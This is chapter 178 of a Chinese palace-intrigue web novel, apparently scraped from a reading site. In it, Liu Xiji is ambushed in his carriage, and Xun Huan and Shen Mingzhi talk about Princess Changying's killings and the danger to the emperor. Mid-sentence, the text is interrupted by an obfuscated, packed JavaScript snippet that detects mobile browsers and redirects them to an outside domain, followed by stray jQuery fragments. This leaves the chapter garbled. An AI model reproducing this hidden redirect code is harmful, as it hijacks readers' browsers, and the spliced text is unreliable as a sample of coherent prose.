178. 第一百七十八章 不会死

作品:《朱明承夜

    柳曦既觉得这个名字有点耳熟,一时间想不起来在哪里见过,见王启丰官话说得极其标准,三四十岁的模样,便点点头随意问道:“京兆人?”


    王启丰回道:“下官是江南道梅州人士。”


    柳曦既微一抬眉,又回忆了下今年新科进士的名单,确定没有此人。风斯帷见他对王启丰好奇,便踮起脚附耳解释道:“他本来是湖广道零州府那儿的推官,去年年末行取来的察院。”


    难怪他一当上御史,就能指出湖广道刑案之中的错漏,原来他早在那里呆了不少日子。可走行取这条路,需要经当地高级官员保举考核。王启丰一入都察院,就翻湖广道的旧账,定要给当地高级官员添不少麻烦。因人之力而敝之,仁不仁义暂且不论,王启丰难道不怕为人报复么?


    柳曦既点点头,撂下这些疑惑,嘱咐完风斯帷,就匆匆带着不阿走上东直门甬道。没走几步,就见前面几步远步履匆匆的人也是一身绯袍,不阿诧异道:“大人,那不是刑部的郇尚书吗?”


    郇寰身边的冬至耳力极好,听见了脚步声与说话声,凑上前提醒道:“主子,总宪在后面。”


    郇寰面色不佳,闻言收拾好神色,放缓步子侧身望去,拱手与柳曦既换礼:“总宪也有事情要出宫?”


    “今日休沐。”


    郇寰笑着颔首。


    柳曦既让开身:“既然郇尚书也有事,那柳某就不多叨扰了。”


    郇寰朝他一欠身,不多废话,转身疾步走向启明门。


    不阿想起那流言,不禁担心:“莫不是又出大事了?”


    “私事出宫他都会换上常服,今着官服,应当是公事。”


    既然是公事,那就没什么称得上“大事”、值得郇海山这样着急。


    不阿嘟囔道:“有什么公事只需要他们两个人办的?”


    柳曦既横了他一眼,不阿住口不再多言。等驾车远离了皇城,偶尔犯起唠叨病的不阿执着马缰,说道:“大人,方才在长兴大街,我看见了凌指挥使,也像刚从宫里出来。”


    柳曦既正闭目养神,闻言,不自主地算了算日子,十五刚过,后半月的确是阴阳卫轮换内宫的日子。


    虽然最近圣上精神比前阶段好了点,能正常上朝,但为杜绝意外,圣上又将十二卫中麒麟、玄武、朱雀、凤翔四卫一并调入,协同锦麟卫、阴阳卫一并负责圣上的安全。四卫各守七日,这么算来,现在和阴阳卫一起把手内宫的应该是朱雀卫。


    马车路过聚宝斋,不阿一拍脑门,勒住缰绳,惭愧道:“大人!去年您订的那只罐子,聚宝斋的人三天前就通知我去取,结果我忘了……我现在就去取,大人您稍等会儿。”


    柳曦既揉揉太阳穴。


    梅如故叫他去昌南看他,昌南路远,风波不平,估计这几年都不能离京,不过东西可以一件件地预备起。他又知梅如故是个挑剔的,用寻常的瓶瓶罐罐盛雪还要嫌弃,那附庸风雅的做派真是伺候不起,可还得硬着头皮给他弄一件昌南出产的青瓷罐,尤其是那颜色,就如他在书中见过的,雨过天青,十分为难人。


    不阿很快就回来了,抱着那包裹在木匣子里的瓷罐上车,小心打开包装就要让柳曦既瞧:“大人,这颜色真是极好看。”


    柳曦既看了一眼就让他收好,又听他可惜道:“方才我在店里听人说,抚远侯家进士出身的三公子,伤心过度,早上随祖父一道去了。”


    这一句犹如惊雷炸响,柳曦既刚沉下去的心蓦地吊起。


    何施南死了?何卓远才死了几天,他们的动作这么快?


    柳曦既自然不相信,年幼丧父、养在何卓远这个祖父膝下的何施南是因为孝心深重、思念祖父而形销骨立终至丧命。他刚刚科举及第,就算因为守丧耽误了授官,可已有功名在身,随即他又保住了与长英公主的婚约,前途光明,他如何舍得这样死去?且孝顺,柳曦既阅遍了何家上下,绝对没有一个人能与这两个字搭边。


    “回府。”


    不阿觉出了柳曦既的烦闷,连忙爬出车厢驾车。


    如果何施南死了,那么长英公主又恢复了单身,这可是件天大的麻烦事。虽然柳曦既已经察觉出,长英对他没那么执着,可自己一避再避,惹恼了赵王引来杀身之祸,圣上卧病在床动弹不得,这就麻烦了。


    他的动作必须要快,秦王的动作也必须要快,快些让周舫开口。


    思忖的须臾间,柳曦既像是听见了利刃破风之响,随即就是重物滚落击地的闷响。他浑身一僵,脑中崩紧的弦一断,刚要伸手死死扣住车门,在他手指触及门上冰冷的铜环前,车门骤然被人从外面拉开,阳光倾斜的弹指间,他眼前一黑。


    **


    自曲江夜归,沈明枳就睡不着。她不敢翻身,怕吵到郇寰。但其实郇寰一直没睡,在幔帐制造出的黑暗里静静关注着她,终于在沈明枳小心地翻回来平躺之际,伸手将人揽到怀里。


    “怎么了?”


    沈明枳睁开眼,长长呼出一口气。


    郇寰不着急,只是轻轻摩挲着她的肩膀,似是在无声唱着遥远的歌谣。


    “我害了她。”


    郇寰知道沈明枳话中的这个“她”是骆霞,但他不知道这个“害”从何而来。可他无法开口,怕自己无心之言又惹得她惆怅满怀,因为这件事太过复杂,而他未知全貌。


    郇寰本以为沈明枳会就此沉默,谁料她开口,转而岔到了别的事上:“其实,长公主对临川也有管束,并非任其妄为。”


    “管束”二字一出,郇寰就明白了她话中意味。


    晋王喜欢骆霞,他明知骆霞沾上了自己绝对会惹上是非,但碍于沈明枳的眼睛,他只能掩人耳目地行事,甚至不敢派人暗中保护她。现在出了事,沈明枳必然会懊悔于自己对晋王的过分管束,痛恨于自己一句“为了他好”却间接害死一条人命。


    可现在是多事之秋,晋王于四面楚歌中谈情说爱本不明智,他若真的喜欢骆霞,那便要疏远她、忘记她、为她考虑,亦或者勇敢地告诉亲长,请亲问名、迎她入门。可他既无实力、又无勇气,只如同楼复一般谈着虚无缥缈的爱恋,更兼兵部郎中张长龄尚且不愿女儿与赵王旗下的襄阳侯府联姻,何况他是一个亲王,骆栩全家上下避之如虎。


    晋王不傻、不天真,可在这件事情上却犯了傻、犯了天真。


    郇寰忍着心酸,听沈明枳淡淡问:“临川说,她母亲曾给她立下三条规矩,三样事物不可碰,其他的任她高兴。你猜猜?”


    郇寰一边感受着沈明枳的气息,一边慢慢分析起来:“她纵情声色,不禁情爱,所求为人间极乐,然则纵享此乐,另有百倍欢悦于男女之事的路子。我以前在岭南办案,见过一种名为‘乌香’的药物,《唐本草》言其‘主百病中恶,客忤邪气,心腹积聚’,另可用于镇痛止咳。一些人刻意误用,以求得到欣快感,只是滥用为毒,吸之成瘾,伤身伤神。此类‘毒物’量少而价高,并不流行,但若要弄也不是没有法子,想来长公主不会愿意看见女儿染上‘毒瘾’危及生命,应当会严禁此类‘毒物’。”


    “嗯,对了,继续。”


    郇寰微微勾了唇角,继续抚着沈明枳,“毒可役人体魄,权可胁人心魂。‘周公相王室以尹天下’,摄行政当国而无觊觎意,此乃后世典范。然则后世大多,执权柄而面目非,窃国篡室,食髓知味,不知收敛,过犹不及,终至灭亡,自食其果。长公主之女得封郡主,食邑临川府,这是大楚开国来未曾有过的‘破例’,若贪心不足,只怕天家亲情翻覆、性命亦难保全。所以,长公主也不会允许女儿擅权弄权。”


    说人亦是说己。


    郇寰看不见沈明枳的神情,只是慢慢等这一阵略显漫长的沉默散去。


    “嗯,又对了,继续。”


    “还有一个,那我就猜是‘赌’吧。”


    沈明枳终于轻笑出声:“你本事大啊,全猜对了。”她撑着床榻起身,长长舒出一口气,“确实,一曰禁毒,二


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185505|142272||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    曰禁赌,三则是,禁止青天白日地为非作歹。临川那个性子,有了权就会这么干,故而你猜是‘权’,也很对。”


    郇寰也起身,凭着记忆向床尾捞了一只隐囊,塞在沈明枳背后,谁料她不靠,将隐囊推给自己,又重新钻入了被窝。


    郇寰只能自己靠了,任由沈明枳依在怀里,继续笑道:“临川府之富饶,便是生生世世也不会坐吃山空,而且于她而言,赌桌上的人为了更大的富贵而刻意捧着她,这多少无趣,故而赌也不再是找乐子的好法子。长公主禁止她碰赌,想来是禁她‘主赌’:禁开赌坊,禁敛不义之财。”


    沈明枳应了一声。


    郇寰抬手,轻轻摸了摸她的头发。她的头发如同缎子一样顺滑,长长的,直让人幻想起他们的前路也如同头发一般顺而密、密而长。他又想起,其实她现在的头发比以前短了,在南海道被割掉不少,她也好像没有耐心打理那样长的头发,常常会让月珰拿着剪子给她修得再短一点。


    正走神,郇寰抚摸她头发的手不知碰到了她哪里的肌肤,沈明枳下意识抓住了他的手,随即又像是诧异于自己过分敏感,又撒开手,抱回郇寰的腰。


    郇寰不禁莞尔。刚成婚那时她就是这样的,任何人都不得靠近其周身半寸之内,平常时候自己也不可以;后来连番冷战,她倒不拒绝自己抱她,但常常只留给自己一个后背,少有回应的时候。


    她在敞心扉,也愿掉眼泪。


    郇寰高兴,但短暂的高兴过后,就是因爱生惧。


    他也怕失去她,也怕不能共白首。


    “是长英。”沈明枳闷闷道。


    是长英杀了骆霞。


    郇寰不觉意外,再抚了抚她的后背,静静听她道:“她要杀晋王。”


    晋王。


    沈明枳不再唤沈明戒的小名“戒子”。


    郇寰将这个称呼尝出了一万分不可公之于众的苦涩。


    “她分明可以做成一个落水案,但她肆无忌惮。”


    肆无忌惮就意味着,长英动手再也不会拘于痕迹、证据,她不会为了策划完美杀人而小心翼翼、甚至于久久蛰伏。简单粗暴的杀戮就要开始了,而血性一旦被唤起,她也就成了禽兽,难以称之为人。


    而这一切的前提都在于,她笃定没有人能奈何得了她。


    可她看不出圣上其实对赵王还持怀疑态度吗?她怎么敢再也不忌惮圣心皇权而自拜服于内心的欲望?她究竟有什么倚仗?


    一念及此,两个人的心彻底沉了下去。


    是啊,只要圣上死了,一切就水到渠成。


    沈明枳劳累了一天,此刻却越发精神,郇寰按住她劝道:“圣上身边有亲军卫把手,赵王在上三卫里面没有人,有阴阳卫和锦麟卫看着,赵王在麒麟、玄武、朱雀、凤翔四卫里面的人不敢擅动的。”


    沈明枳又躺了回去。


    接下来是阴阳卫与朱雀卫把守,窦宇一天十二个时辰几乎都守在附近,王暨白是跟随圣上几十年的老人,魏俊秋是她的人,而圣上钦点了孙先生代表太医院服侍于龙榻左右。层层防护,长英就算有通天的本事,也未必能够成功得手。


    “至于朝堂上——”郇寰的目光被回忆拉远,抱着沈明枳的右手挪到了自己腰间,循着感觉轻轻按了按右肋下已经愈合的刀伤,“可以用这一刀来对付。”


    沈明枳一惊,攥住他的手。


    零州事背后必然另有隐情,只是郇寰一直没有和她说,她也不多问。这件事情的真相必然能够撼动赵王的地位,甚至于粉碎赵王派这样的庞然巨物,可大厦将倾,郇寰这个曾经的筑基人哪能全身而退。


    他是个骄傲的人,现在要亲手粉碎自己的骄傲。


    沈明枳忍住心口的酸涩,过了许久才斟酌着问他:“胜了,你会如何?”


    败了自然是赔命,而胜了——


    郇寰轻笑一声,捧起沈明枳的脸颊,垂首用自己的鼻尖轻轻蹭过她的鼻尖,“放心,我不会死的。”